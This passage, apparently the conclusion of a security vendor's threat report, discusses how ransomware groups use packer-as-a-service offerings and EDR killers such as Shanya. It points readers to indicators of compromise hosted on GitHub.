Packer-as-a-service offerings and EDR Kkillers will both be with us for the foreseeable future. The
combination of the two is very popular with ransomware groups. Because there is a need and a
financial motive, we can’t expect this particular malware type to go away anytime soon — and we
will doubtless find further-evolved versions in the future.

Indicators of compromise

A set of indicators of compromise associated with Shanya is provided on our GitHub.
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